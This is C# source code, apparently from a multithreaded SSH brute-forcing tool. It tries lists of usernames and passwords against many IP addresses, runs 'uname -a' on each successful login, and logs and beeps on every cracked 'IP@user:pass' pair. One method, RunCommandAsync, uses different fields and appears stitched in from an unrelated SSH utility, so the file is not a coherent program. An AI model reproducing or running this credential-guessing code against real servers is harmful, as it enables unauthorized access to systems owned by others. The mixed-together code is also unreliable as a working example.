/// <summary> /// Connect to an SSH. /// </summary> /// <param name="targetIP">The <see cref="string"/> instance that represents the target IP.</param> /// <param name="user">The <see cref="string"/> instance that represents the login.</param> /// <param name="pass">The <see cref="string"/> instance that represents the password.</param> /// <returns>An instance of the <see cref="SshResponse"/> class representing the result of the connection, an <see cref="Exception"/> if error; otherwise, an uname.</returns> private SshResponse meet(string targetIP, string user, string pass) { SshResponse response = new SshResponse(); try { using (var client = new SshClient(targetIP, user, pass)) { client.ConnectionInfo.Timeout = TimeSpan.FromMilliseconds(timeout); client.Connect(); SshCommand runcommand = client.CreateCommand("uname -a"); runcommand.CommandTimeout = TimeSpan.FromMilliseconds(10000); response.uname = runcommand.Execute();; client.Disconnect(); } } catch (Exception wank) { // System.Net.Sockets.SocketException // Renci.SshNet.Common.SshOperationTimeoutException // System.AggregateException response.Exception = wank; //response.Exeception = new Exception(); } return(response); }
public async Task <SshResponse> RunCommandAsync(string command) { SshResponse result = null; if (!await ConnectionUtil.CheckConnectionAsync(host)) { throw new Exception(string.Format("Server {0} unreachable", host)); } await Task.Run(() => { KeyboardInteractiveAuthenticationMethod keyboardbAuthentication = new KeyboardInteractiveAuthenticationMethod(credential.UserName); PasswordAuthenticationMethod pauth = new PasswordAuthenticationMethod(credential.UserName, credential.Password); keyboardbAuthentication.AuthenticationPrompt += new EventHandler <AuthenticationPromptEventArgs>(HandleKeyEvent); ConnectionInfo connectionInfo = new ConnectionInfo(host, 22, credential.UserName, pauth, keyboardbAuthentication); using (SshClient client = new SshClient(connectionInfo)) { try { client.Connect(); var commandResult = client.RunCommand(command); result = new SshResponse(commandResult.Result, commandResult.ExitStatus); } catch (Exception e) { result = new SshResponse(e.Message, -1); } } }); return(result); }
/// <summary> /// Start checking every IP from <see cref="IPS"/> divided in n/<see cref="threads"/> worker threads for every credentials. /// </summary> public void startCheck() { Stopwatch w = new Stopwatch(); List <HashSet <string> > ThreadsWorkingSets = splitHashSet(IPS, threads); w.Start(); tasks = new Task[ThreadsWorkingSets.Count]; foreach (HashSet <string> currentSet in ThreadsWorkingSets) { Task v = new Task(() => { Interlocked.Increment(ref runningThread); // Wait for all the threads to be ready. while (!isUp) { System.Threading.Thread.Sleep(100); } int currentThread = (int)Task.CurrentId; bool exitLoop, tooManyTimeout; int timeoutCount; foreach (string IP in currentSet) { timeoutCount = 0; tooManyTimeout = false; exitLoop = false; foreach (Credentials cred in credentials) { SshResponse Response = meet(IP, cred.username, cred.password); Interlocked.Increment(ref testedAttemps); if (Response.Exception != null) { switch (Response.Exception.GetType().ToString()) { // Login timed out -> continue case "Renci.SshNet.Common.SshOperationTimeoutException": timeoutCount++; if (timeoutCount == maxTimeoutCount) { tooManyTimeout = true; } logIt($"{IP} timed out! {timeoutCount}/{maxTimeoutCount}", currentThread, false); break; // Network error, is off -> break to next IP case "System.AggregateException": logIt($"{IP} is off!", currentThread, false); exitLoop = true; break; // Network error or connection refused -> break to next IP case "System.Net.Sockets.SocketException": logIt($"{IP} gone oopsy! \n::{Response.Exception.Message}", currentThread, false); exitLoop = true; break; // Bad authentification / others -> continue default: logIt($"{IP}@{cred.username}:{cred.password}", currentThread, false); break; } if (exitLoop || tooManyTimeout) { break; } } else { logIt($"{IP}@{cred.username}:{cred.password} \n-> {Response.uname}", currentThread, true); Console.Beep(); break; } } Interlocked.Increment(ref testedIPs); } Interlocked.Decrement(ref runningThread); }); v.Start(); tasks[v.Id - 1] = v; } // Wait Until all threads started while (!isUp) { Console.Write("\r[{0}] Starting Threads... {1}/{2}", DateTime.Now.ToString("hh:mm:ss"), runningThread, ThreadsWorkingSets.Count); if (runningThread == ThreadsWorkingSets.Count) { isUp = true; Console.WriteLine(); } System.Threading.Thread.Sleep(100); } monitorMaster(); Task.WaitAll(tasks); isUp = false; w.Stop(); if (utilityTasks[1] != null) { Task.WaitAll(utilityTasks); } else { utilityTasks[0].Wait(); } logIt($"Exec {w.ElapsedMilliseconds}ms"); }